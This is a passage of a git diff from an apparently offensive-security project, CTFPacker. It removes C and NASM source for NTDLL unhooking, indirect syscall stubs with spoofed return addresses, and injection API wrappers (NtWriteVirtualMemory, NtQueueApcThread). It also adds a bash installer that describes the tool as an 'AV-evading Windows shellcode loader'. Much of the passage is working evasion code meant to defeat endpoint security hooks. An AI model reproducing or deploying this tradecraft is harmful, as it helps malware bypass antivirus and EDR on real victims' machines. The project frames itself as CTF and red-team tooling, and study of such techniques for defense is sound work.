typedef struct _AES {
PBYTE pPlainText; // base address of the plain text data
DWORD dwPlainSize; // size of the plain text data
PBYTE pCipherText; // base address of the encrypted data
DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding)
PBYTE pKey; // the 32 byte key
PBYTE pIv; // the 16 byte iv
} AES, * PAES;
typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize; //VISTA
ULONG HardFaultCount; //WIN7
ULONG NumberOfThreadsHighWatermark; //WIN7
ULONGLONG CycleTime; //WIN7
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
//
// This part corresponds to VM_COUNTERS_EX.
// NOTE: *NOT* THE SAME AS VM_COUNTERS!
//
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
//
// This part corresponds to IO_COUNTERS
//
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
// SYSTEM_THREAD_INFORMATION TH[1];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
-131
View File
@@ -1,131 +0,0 @@
/*
Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
*/
#include <Windows.h>
#include "structs.h"
#include "functions.h"
#include <stdio.h>
#pragma comment(lib, "ntdll")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define NtCurrentProcess() ((HANDLE)-1)
#define _CRT_SECURE_NO_WARNINGS
typedef const UNICODE_STRING* PCUNICODE_STRING;
NTSYSAPI VOID RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
__drv_aliasesMem PCWSTR SourceString
);
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PCUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
LPVOID MapNtdll() {
UNICODE_STRING DestinationString;
const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 };
RtlInitUnicodeString(&DestinationString, SourceString);
OBJECT_ATTRIBUTES ObAt;
InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hSection;
NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt);
if (!NT_SUCCESS(status1)) {
//printf("[!] Failed in NtOpenSection (%u)\n", GetLastError());
return NULL;
}
PVOID pntdll = NULL;
ULONG_PTR ViewSize = 0;
MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#));
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status2)) {
//printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
getchar();
return NULL;
}
return pntdll;
}
BOOL Unhook(LPVOID module) {
HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#);
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew);
if (!NTheader) {
//printf(" [-] Not a PE file\n");
return FALSE;
}
PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
DWORD oldprotect = 0;
for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
char txt[] = { '.','t','e','x','t', 0 };
if (!strcmp((char*)sectionHdr->Name, txt)) {
BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!status1)
return FALSE;
memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
if (!status2)
return FALSE;
}
return TRUE;
}
}
@@ -1,123 +0,0 @@
; ===============================================================
; NASM x64 version of your assembly.
; Save as "whispers-asm.nasm", for example.
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
; ===============================================================
bits 64 ; 64-bit code
default rel ; Use RIP-relative addressing by default
section .text
; Export the labels so your C code can call them
global NTAVM
global NTPVM
global NTWVM
global NTQAT
; Declare external symbols (the calls to these are in your code)
extern SW3_GetSyscallNumber
extern SW3_GetRandomSyscallAddress
; ---------------------------------------------------------------------------
; NTAVM
; ---------------------------------------------------------------------------
NTAVM:
mov [rsp + 8], rcx ; Save registers
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0xC189CD1E ; Load function hash into ECX
call SW3_GetRandomSyscallAddress
mov r11, rax ; Save the address of the syscall
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8] ; Restore registers
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call
; ---------------------------------------------------------------------------
; NTPVM
; ---------------------------------------------------------------------------
NTPVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x159D0313 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x159D0313 ; Re-load function hash
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTWVM
; ---------------------------------------------------------------------------
NTWVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x83179B97 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x83179B97
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTQAT
; ---------------------------------------------------------------------------
NTQAT:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x88AE129F ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x88AE129F
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; End of file
-278
View File
@@ -1,278 +0,0 @@
#include "whispers.h"
#include <stdio.h>
//#define DEBUG
#define JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
__declspec(naked) BOOL local_is_wow64(void)
{
__asm {
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
}
}
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList;
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
return NULL;
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
-100
View File
@@ -1,100 +0,0 @@
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif
#define SW3_SEED 0x51EBD349
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
EXTERN_C NTSTATUS NTAVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NTPVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NTWVM(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NTQAT(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
#endif
File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 149 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 36 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

+316
View File
@@ -0,0 +1,316 @@
#!/usr/bin/env bash
# =============================================================================
# CTFPacker Automated Installer for Debian-based systems
# Tested on: Kali Linux, Ubuntu 22.04+, Debian 12+
# =============================================================================
set -euo pipefail
# ── Colours ──────────────────────────────────────────────────────────────────
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'
log_info() { echo -e "${CYAN}[*]${NC} $*"; }
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
log_warn() { echo -e "${YELLOW}[!]${NC} $*"; }
log_error() { echo -e "${RED}[-]${NC} $*" >&2; }
log_banner() { echo -e "\n${BOLD}${CYAN}$*${NC}\n"; }
# ── Root check ───────────────────────────────────────────────────────────────
if [[ $EUID -ne 0 ]]; then
log_error "This script must be run as root."
echo -e " Try: ${YELLOW}sudo bash install.sh${NC}"
exit 1
fi
# ── Debian/apt check ─────────────────────────────────────────────────────────
if ! command -v apt-get &>/dev/null; then
log_error "apt-get not found."
log_error "This installer only supports Debian-based systems (Kali Linux, Ubuntu, Debian)."
exit 1
fi
# ── Resolve the real (non-root) user that invoked sudo ───────────────────────
# pipx must be run as the actual user, not root, so binaries land in
# ~/.local/bin of the invoking user rather than /root/.local/bin.
REAL_USER="${SUDO_USER:-$USER}"
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
PIPX_BIN="$REAL_HOME/.local/bin"
# ── Paths ────────────────────────────────────────────────────────────────────
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
LINUX_DIR="$SCRIPT_DIR/Linux"
if [[ ! -d "$LINUX_DIR" ]]; then
log_error "Linux/ directory not found. Make sure you run this from the CTFPacker root."
exit 1
fi
# ── Banner ───────────────────────────────────────────────────────────────────
echo ""
echo -e "${RED}${BOLD}"
cat << 'EOF'
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░
EOF
echo -e "${NC}"
echo -e " ${CYAN}Automated Installer — Debian-based systems${NC}"
echo -e " ${CYAN}Author: mocha | https://mochabyte.xyz${NC}"
echo ""
# =============================================================================
# STEP 1 — APT packages
# =============================================================================
log_banner "STEP 1/3 — Installing APT dependencies"
APT_PKGS=(
clang # Clang compiler (cross-compilation)
lld # LLVM linker (used with -fuse-ld=lld)
make # GNU Make
nasm # Netwide Assembler (for SysWhispers asm)
mingw-w64 # MinGW-w64 cross-compilation toolchain
python3 # Python 3 interpreter
pipx # Isolated Python app installer
osslsigncode # PE code signing (optional, needed for -pfx)
)
log_info "Updating package lists..."
apt-get update -qq
log_info "Installing: ${APT_PKGS[*]}"
DEBIAN_FRONTEND=noninteractive apt-get install -y "${APT_PKGS[@]}"
log_success "APT packages installed."
# =============================================================================
# STEP 2 — pipx install
# =============================================================================
log_banner "STEP 2/3 — Installing CTFPacker via pipx"
# Ensure pipx's bin dir is on PATH for this session
export PATH="$PIPX_BIN:$PATH"
# pipx ensurepath writes to the real user's shell rc files
log_info "Running pipx ensurepath for user '$REAL_USER' ..."
sudo -u "$REAL_USER" pipx ensurepath --force
# If a previous install exists, reinstall cleanly
if sudo -u "$REAL_USER" pipx list 2>/dev/null | grep -q "ctfpacker"; then
log_warn "Existing ctfpacker pipx install found — reinstalling."
sudo -u "$REAL_USER" pipx uninstall ctfpacker
fi
log_info "Installing CTFPacker package (from $LINUX_DIR) ..."
sudo -u "$REAL_USER" pipx install "$LINUX_DIR"
log_success "CTFPacker installed via pipx."
log_info "Binaries are available at: $PIPX_BIN"
# =============================================================================
# STEP 2b — Desktop entry (.desktop file + icon)
# =============================================================================
log_banner "STEP 2b/3 — Installing desktop application entry"
ICON_DIR="$REAL_HOME/.local/share/icons"
APPS_DIR="$REAL_HOME/.local/share/applications"
DESKTOP_PATH="$APPS_DIR/ctfpacker-gui.desktop"
mkdir -p "$ICON_DIR" "$APPS_DIR"
# ── PNG icon (bundled Logo.png from assets/) ──────────────────────────────────
LOGO_SRC="$SCRIPT_DIR/assets/Logo.png"
ICON_PATH="$ICON_DIR/ctfpacker.png"
if [[ -f "$LOGO_SRC" ]]; then
cp "$LOGO_SRC" "$ICON_PATH"
chown "$REAL_USER":"$(id -gn "$REAL_USER")" "$ICON_PATH"
chmod 644 "$ICON_PATH"
log_success "Icon installed → $ICON_PATH"
else
log_warn "assets/Logo.png not found — desktop icon will be missing."
ICON_PATH="ctfpacker" # fall back to XDG theme lookup
fi
# ── .desktop file ─────────────────────────────────────────────────────────────
cat > "$DESKTOP_PATH" << DESKTOPEOF
[Desktop Entry]
Version=1.0
Type=Application
Name=CTFPacker GUI
GenericName=Shellcode Packer
Comment=AV-evading Windows shellcode loader for CTFs and pentest exams
Exec=$PIPX_BIN/ctfpacker-gui
Icon=$ICON_PATH
Terminal=false
Categories=Security;Development;
Keywords=ctf;pentest;shellcode;packer;redteam;av;evasion;
StartupWMClass=CTFPacker
StartupNotify=true
DESKTOPEOF
chown "$REAL_USER":"$(id -gn "$REAL_USER")" "$DESKTOP_PATH"
chmod 644 "$DESKTOP_PATH"
log_success "Desktop entry installed → $DESKTOP_PATH"
# Refresh the desktop database so the launcher picks it up immediately
if command -v update-desktop-database &>/dev/null; then
sudo -u "$REAL_USER" update-desktop-database "$APPS_DIR" 2>/dev/null || true
log_success "Desktop database updated."
fi
# GTK icon cache refresh (GNOME / XFCE)
if command -v gtk-update-icon-cache &>/dev/null; then
gtk-update-icon-cache -f -t "$ICON_DIR" 2>/dev/null || true
fi
# =============================================================================
# STEP 2c — Shell aliases (ctfp / ctfpg)
# =============================================================================
ALIAS_BLOCK='
# ── CTFPacker aliases ────────────────────────────────────────────────────────
alias ctfp="ctfpacker"
alias ctfpg="ctfpacker-gui"
# ────────────────────────────────────────────────────────────────────────────'
install_aliases() {
local rc_file="$1"
if [[ -f "$rc_file" ]]; then
if grep -q 'CTFPacker aliases' "$rc_file" 2>/dev/null; then
log_warn "Aliases already present in $rc_file — skipping."
else
echo "$ALIAS_BLOCK" >> "$rc_file"
log_success "Aliases added to $rc_file"
fi
fi
}
BASHRC="$REAL_HOME/.bashrc"
ZSHRC="$REAL_HOME/.zshrc"
install_aliases "$BASHRC"
install_aliases "$ZSHRC"
# Apply immediately to the current (root) session so the verify step can see them
# shellcheck disable=SC1090
eval "alias ctfp='ctfpacker'; alias ctfpg='ctfpacker-gui'"
# =============================================================================
# STEP 3 — Verify toolchain
# =============================================================================
log_banner "STEP 3/3 — Verifying toolchain"
MISSING=()
check_tool() {
local tool="$1"
local display="${2:-$1}"
if command -v "$tool" &>/dev/null; then
log_success "${display}$(command -v "$tool")"
else
log_warn "${display} → NOT FOUND in PATH"
MISSING+=("$tool")
fi
}
check_tool "clang" "clang"
check_tool "lld" "lld"
check_tool "nasm" "nasm"
check_tool "make" "make"
check_tool "x86_64-w64-mingw32-gcc" "mingw-w64 (x86_64)"
check_tool "osslsigncode" "osslsigncode"
check_tool "pipx" "pipx"
# Check ctfpacker entry point (may not be in root's PATH yet — check by full path)
if [[ -f "$PIPX_BIN/ctfpacker" ]]; then
log_success "ctfpacker → $PIPX_BIN/ctfpacker"
else
log_warn "ctfpacker entry point not found in $PIPX_BIN"
MISSING+=("ctfpacker")
fi
# Verify MinGW sysroot paths used by Makefile
TARGET_TRIPLE="x86_64-w64-mingw32"
MINGW_INCLUDE="/usr/${TARGET_TRIPLE}/include"
MINGW_LIB="/usr/${TARGET_TRIPLE}/lib"
GCC_WIN32_PATH="$(find /usr/lib/gcc/${TARGET_TRIPLE}/ -type d -name "*win32" 2>/dev/null | head -n1 || true)"
if [[ -d "$MINGW_INCLUDE" ]]; then
log_success "MinGW includes → $MINGW_INCLUDE"
else
log_warn "MinGW includes not found at $MINGW_INCLUDE"
MISSING+=("mingw-include")
fi
if [[ -d "$MINGW_LIB" ]]; then
